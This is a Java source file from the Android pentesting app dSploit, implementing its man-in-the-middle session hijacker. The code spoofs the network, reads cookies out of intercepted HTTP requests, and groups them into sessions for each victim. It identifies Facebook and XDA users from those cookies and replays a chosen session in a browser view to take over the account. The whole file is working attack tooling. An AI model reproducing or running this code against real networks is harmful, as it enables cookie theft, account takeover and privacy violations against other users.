/*
 * This file is part of the dSploit.
 *
 * Copyleft of Simone Margaritelli aka evilsocket <evilsocket@gmail.com>
 *
 * dSploit is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * dSploit is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with dSploit.  If not, see <http://www.gnu.org/licenses/>.
 */
package it.evilsocket.dsploit.plugins.mitm.hijacker;

import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ArrayAdapter;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;

import com.actionbarsherlock.app.SherlockActivity;
import com.actionbarsherlock.view.Menu;
import com.actionbarsherlock.view.MenuInflater;
import com.actionbarsherlock.view.MenuItem;

import org.apache.http.impl.cookie.BasicClientCookie;
import org.json.JSONObject;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.HashMap;

import it.evilsocket.dsploit.R;
import it.evilsocket.dsploit.core.System;
import it.evilsocket.dsploit.gui.dialogs.ConfirmDialog;
import it.evilsocket.dsploit.gui.dialogs.ConfirmDialog.ConfirmDialogListener;
import it.evilsocket.dsploit.gui.dialogs.ErrorDialog;
import it.evilsocket.dsploit.gui.dialogs.InputDialog;
import it.evilsocket.dsploit.gui.dialogs.InputDialog.InputDialogListener;
import it.evilsocket.dsploit.gui.dialogs.SpinnerDialog;
import it.evilsocket.dsploit.gui.dialogs.SpinnerDialog.SpinnerDialogListener;
import it.evilsocket.dsploit.net.http.RequestParser;
import it.evilsocket.dsploit.net.http.proxy.Proxy.OnRequestListener;
import it.evilsocket.dsploit.plugins.mitm.SpoofSession;
import it.evilsocket.dsploit.plugins.mitm.SpoofSession.OnSessionReadyListener;

public class Hijacker extends SherlockActivity {
	private ToggleButton mHijackToggleButton = null;
	private ProgressBar mHijackProgress = null;
	private SessionListAdapter mAdapter = null;
	private boolean mRunning = false;
	private RequestListener mRequestListener = null;
	private SpoofSession mSpoof = null;

	private static int getFaviconFromDomain(String domain) {
		if (domain.contains("amazon."))
			return R.drawable.favicon_amazon;

		else if (domain.contains("google."))
			return R.drawable.favicon_google;

		else if (domain.contains("youtube."))
			return R.drawable.favicon_youtube;

		else if (domain.contains("blogger."))
			return R.drawable.favicon_blogger;

		else if (domain.contains("tumblr."))
			return R.drawable.favicon_tumblr;

		else if (domain.contains("facebook."))
			return R.drawable.favicon_facebook;

		else if (domain.contains("twitter."))
			return R.drawable.favicon_twitter;

		else if (domain.contains("xda-developers."))
			return R.drawable.favicon_xda;

		else
			return R.drawable.favicon_generic;
	}

	public class SessionListAdapter extends ArrayAdapter<Session> {
		private int mLayoutId = 0;
		private HashMap<String, Session> mSessions = null;

		public class FacebookUserTask extends AsyncTask<Session, Void, Boolean> {
			private Bitmap getUserImage(String uri) {
				Bitmap image = null;
				try {
					URL url = new URL(uri);
					URLConnection conn = url.openConnection();
					conn.connect();

					InputStream input = conn.getInputStream();
					BufferedInputStream reader = new BufferedInputStream(input);

					image = Bitmap.createScaledBitmap(
							BitmapFactory.decodeStream(reader), 48, 48, false);

					reader.close();
					input.close();
				} catch (IOException e) {
					System.errorLogging(e);
				}

				return image;
			}

			private String getUserName(String uri) {
				String username = null;

				try {
					URL url = new URL(uri);
					URLConnection conn = url.openConnection();
					conn.connect();

					InputStream input = conn.getInputStream();
					BufferedReader reader = new BufferedReader(
							new InputStreamReader(input));
					String line, data = "";

					while ((line = reader.readLine()) != null)
						data += line;

					reader.close();
					input.close();

					JSONObject response = new JSONObject(data);

					username = response.getString("name");
				} catch (Exception e) {
					System.errorLogging(e);
				}

				return username;
			}

			@Override
			protected Boolean doInBackground(Session... sessions) {
				Session session = sessions[0];
				BasicClientCookie user = session.mCookies.get("c_user");

				if (user != null) {
					String fbUserId = user.getValue(), fbGraphUrl = "https://graph.facebook.com/"
							+ fbUserId + "/", fbPictureUrl = fbGraphUrl
							+ "picture";

					session.mUserName = getUserName(fbGraphUrl);
					session.mPicture = getUserImage(fbPictureUrl);
				}

				return true;
			}

			@Override
			protected void onPostExecute(Boolean result) {
				mAdapter.notifyDataSetChanged();
			}
		}

		public class XdaUserTask extends AsyncTask<Session, Void, Boolean> {
			private Bitmap getUserImage(String uri) {
				Bitmap image = null;
				try {
					URL url = new URL(uri);
					URLConnection conn = url.openConnection();
					conn.connect();

					InputStream input = conn.getInputStream();
					BufferedInputStream reader = new BufferedInputStream(input);

					image = Bitmap.createScaledBitmap(
							BitmapFactory.decodeStream(reader), 48, 48, false);

					reader.close();
					input.close();
				} catch (IOException e) {
					System.errorLogging(e);
				}

				return image;
			}

			@Override
			protected Boolean doInBackground(Session... sessions) {
				Session session = sessions[0];
				BasicClientCookie userid = session.mCookies.get("bbuserid"), username = session.mCookies
						.get("xda_wikiUserName");

				if (userid != null)
					session.mPicture = getUserImage("http://media.xda-developers.com/customavatars/avatar"
							+ userid.getValue() + "_1.gif");

				if (username != null)
					session.mUserName = username.getValue().toLowerCase();

				return true;
			}

			@Override
			protected void onPostExecute(Boolean result) {
				mAdapter.notifyDataSetChanged();
			}
		}

		public class SessionHolder {
			ImageView favicon;
			TextView address;
			TextView domain;
		}

		public SessionListAdapter(int layoutId) {
			super(Hijacker.this, layoutId);

			mLayoutId = layoutId;
			mSessions = new HashMap<String, Session>();
		}

		public Session getSession(String address, String domain, boolean https) {
			return mSessions.get(address + ":" + domain + ":" + https);
		}

		public synchronized void addSession(Session session) {
			mSessions.put(session.mAddress + ":" + session.mDomain + ":"
					+ session.mHTTPS, session);
		}

		public synchronized Session getByPosition(int position) {
			return mSessions.get(mSessions.keySet().toArray()[position]);
		}

		@Override
		public int getCount() {
			return mSessions.size();
		}

		public Bitmap addLogo(Bitmap mainImage, Bitmap logoImage) {
			Bitmap finalImage;
			int width, height;

			width = mainImage.getWidth();
			height = mainImage.getHeight();

			finalImage = Bitmap.createBitmap(width, height,
					mainImage.getConfig());

			Canvas canvas = new Canvas(finalImage);

			canvas.drawBitmap(mainImage, 0, 0, null);
			canvas.drawBitmap(logoImage,
					canvas.getWidth() - logoImage.getWidth(),
					canvas.getHeight() - logoImage.getHeight(), null);

			return finalImage;
		}

		@Override
		public View getView(int position, View convertView, ViewGroup parent) {
			View row = convertView;
			SessionHolder holder;
			Session session = getByPosition(position);

			if (row == null) {
				LayoutInflater inflater = (LayoutInflater) Hijacker.this
						.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
				row = inflater.inflate(mLayoutId, parent, false);

				holder = new SessionHolder();

				holder.favicon = (ImageView) (row != null ? row
						.findViewById(R.id.sessionIcon) : null);
				holder.address = (TextView) (row != null ? row
						.findViewById(R.id.sessionTitle) : null);
				holder.domain = (TextView) (row != null ? row
						.findViewById(R.id.sessionDescription) : null);

				if (row != null)
					row.setTag(holder);

			} else
				holder = (SessionHolder) row.getTag();

			if (!session.mInited) {
				session.mInited = true;

				if (session.mDomain.contains("facebook.")
						&& session.mCookies.get("c_user") != null)
					new FacebookUserTask().execute(session);

				else if (session.mDomain.contains("xda-developers.")
						&& session.mCookies.get("bbuserid") != null)
					new XdaUserTask().execute(session);
			}

			Bitmap picture;

			if (session.mPicture != null)
				picture = session.mPicture;
			else
				picture = BitmapFactory.decodeResource(getResources(),
						getFaviconFromDomain(session.mDomain));

			if (session.mHTTPS)
				picture = addLogo(picture, BitmapFactory.decodeResource(
						getResources(), R.drawable.https_session));

			if (holder.favicon != null)
				holder.favicon.setImageBitmap(picture);

			if (session.mUserName != null) {
				if (holder.address != null)
					holder.address.setText(session.mUserName);
      } else if (holder.address != null)
					holder.address.setText(session.mAddress);

			if (holder.domain != null)
				holder.domain.setText(session.mDomain);

			return row;
		}
	}

	class RequestListener implements OnRequestListener {
		@Override
		public void onRequest(boolean https, String address, String hostname,
				ArrayList<String> headers) {
			ArrayList<BasicClientCookie> cookies = RequestParser
					.getCookiesFromHeaders(headers);

			// got any cookie ?
			if (cookies != null && cookies.size() > 0) {
				String domain = cookies.get(0).getDomain();

				if (domain == null || domain.isEmpty()) {
					domain = RequestParser.getBaseDomain(hostname);

					for (BasicClientCookie cooky : cookies)
						cooky.setDomain(domain);
				}

				Session session = mAdapter.getSession(address, domain, https);

				// new session ^^
				if (session == null) {
					session = new Session();
					session.mHTTPS = https;
					session.mAddress = address;
					session.mDomain = domain;
					session.mUserAgent = RequestParser.getHeaderValue(
							"User-Agent", headers);
				}

				// update/initialize session cookies
				for (BasicClientCookie cookie : cookies) {
					session.mCookies.put(cookie.getName(), cookie);
				}

				final Session fsession = session;
				Hijacker.this.runOnUiThread(new Runnable() {
					@Override
					public void run() {
						mAdapter.addSession(fsession);
						mAdapter.notifyDataSetChanged();
					}
				});
			}
		}
	}

	public void onCreate(Bundle savedInstanceState) {
		SharedPreferences themePrefs = getSharedPreferences("THEME", 0);
		Boolean isDark = themePrefs.getBoolean("isDark", false);
		if (isDark)
			setTheme(R.style.Sherlock___Theme);
		else
			setTheme(R.style.AppTheme);
		super.onCreate(savedInstanceState);
		setTitle(System.getCurrentTarget() + " > MITM > "
				+ getString(R.string.session_sniffer));
		setContentView(R.layout.plugin_mitm_hijacker);
		getSupportActionBar().setDisplayHomeAsUpEnabled(true);

		mHijackToggleButton = (ToggleButton) findViewById(R.id.hijackToggleButton);
		mHijackProgress = (ProgressBar) findViewById(R.id.hijackActivity);
		ListView mListView = (ListView) findViewById(R.id.listView);
		mAdapter = new SessionListAdapter(
				R.layout.plugin_mitm_hijacker_list_item);
		mSpoof = new SpoofSession();

		mListView.setAdapter(mAdapter);
		mListView.setOnItemClickListener(new OnItemClickListener() {
			@Override
			public void onItemClick(AdapterView<?> parent, View view,
					int position, long id) {
				final Session session = mAdapter.getByPosition(position);
				if (session != null) {
					new ConfirmDialog(getString(R.string.hijack_session),
							mRunning ? getString(R.string.start_hijacking)
									: getString(R.string.start_hijacking2),
							Hijacker.this, new ConfirmDialogListener() {
								@Override
								public void onConfirm() {
									if (mRunning)
										setStoppedState();

									System.setCustomData(session);

									startActivity(new Intent(Hijacker.this,
											HijackerWebView.class));
								}

								@Override
								public void onCancel() {
								}
							}).show();
				}
			}
		});

		mListView.setOnItemLongClickListener(new OnItemLongClickListener() {
			@Override
			public boolean onItemLongClick(AdapterView<?> parent, View view,
					int position, long id) {
				final Session session = mAdapter.getByPosition(position);
				if (session != null) {
					new InputDialog(getString(R.string.save_session),
							getString(R.string.set_session_filename), session
									.getFileName(), true, false, Hijacker.this,
							new InputDialogListener() {
								@Override
								public void onInputEntered(String name) {
									if (!name.isEmpty()) {

										try {
											String filename = session
													.save(name);

											Toast.makeText(
													Hijacker.this,
													getString(R.string.session_saved_to)
															+ filename + " .",
													Toast.LENGTH_SHORT).show();
										} catch (IOException e) {
											new ErrorDialog(
													getString(R.string.error),
													e.toString(), Hijacker.this)
													.show();
										}
									} else
										new ErrorDialog(
												getString(R.string.error),
												getString(R.string.invalid_session),
												Hijacker.this).show();
								}
							}).show();
				}

				return true;
			}
		});

		mHijackToggleButton.setOnClickListener(new OnClickListener() {
			@Override
			public void onClick(View v) {
				if (mRunning) {
					setStoppedState();
				} else {
					setStartedState();
				}
			}
		});

		mRequestListener = new RequestListener();
	}

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		MenuInflater inflater = getSupportMenuInflater();
		inflater.inflate(R.menu.hijacker, menu);
		return super.onCreateOptionsMenu(menu);
	}

	private void setStartedState() {

		if (System.getProxy() != null)
			System.getProxy().setOnRequestListener(mRequestListener);

		mSpoof.start(new OnSessionReadyListener() {
			@Override
			public void onSessionReady() {
				Hijacker.this.runOnUiThread(new Runnable() {
					@Override
					public void run() {
						mHijackToggleButton.setText("Stop");
						mHijackProgress.setVisibility(View.VISIBLE);
						mRunning = true;
					}
				});
			}

			@Override
			public void onError(String error, int resId) {
				error = error == null ? getString(resId) : error;
				setSpoofErrorState(error);
			}
		});
	}

	private void setSpoofErrorState(final String error) {
		Hijacker.this.runOnUiThread(new Runnable() {
			@Override
			public void run() {
				if (!Hijacker.this.isFinishing()) {
					new ErrorDialog(getString(R.string.error), error,
							Hijacker.this).show();
					setStoppedState();
				}
			}
		});
	}

	private void setStoppedState() {
		mSpoof.stop();

		if (System.getProxy() != null)
			System.getProxy().setOnRequestListener(null);

		mHijackProgress.setVisibility(View.INVISIBLE);

		mRunning = false;
		mHijackToggleButton.setChecked(false);
	}

	@Override
	public boolean onOptionsItemSelected(MenuItem item) {
		int itemId = item.getItemId();

		switch (itemId) {
		case android.R.id.home:

			onBackPressed();

			return true;

		case R.id.load:

			final ArrayList<String> sessions = System
					.getAvailableHijackerSessionFiles();

			if (sessions != null && sessions.size() > 0) {
				new SpinnerDialog(getString(R.string.select_session),
						getString(R.string.select_session_file),
						sessions.toArray(new String[sessions.size()]),
						Hijacker.this, new SpinnerDialogListener() {
							@Override
							public void onItemSelected(int index) {
								String filename = sessions.get(index);

								try {
									Session session = Session.load(filename);

									if (session != null) {
										mAdapter.addSession(session);
										mAdapter.notifyDataSetChanged();
									}
								} catch (Exception e) {
									e.printStackTrace();
									new ErrorDialog("Error", e.getMessage(),
											Hijacker.this).show();
								}
							}
						}).show();
			} else
				new ErrorDialog(getString(R.string.error),
						getString(R.string.no_session_found), Hijacker.this)
						.show();

			return true;

		default:
			return super.onOptionsItemSelected(item);
		}
	}

	@Override
	public void onBackPressed() {
		setStoppedState();
		super.onBackPressed();
		overridePendingTransition(R.anim.slide_in_left, R.anim.slide_out_left);
	}
}
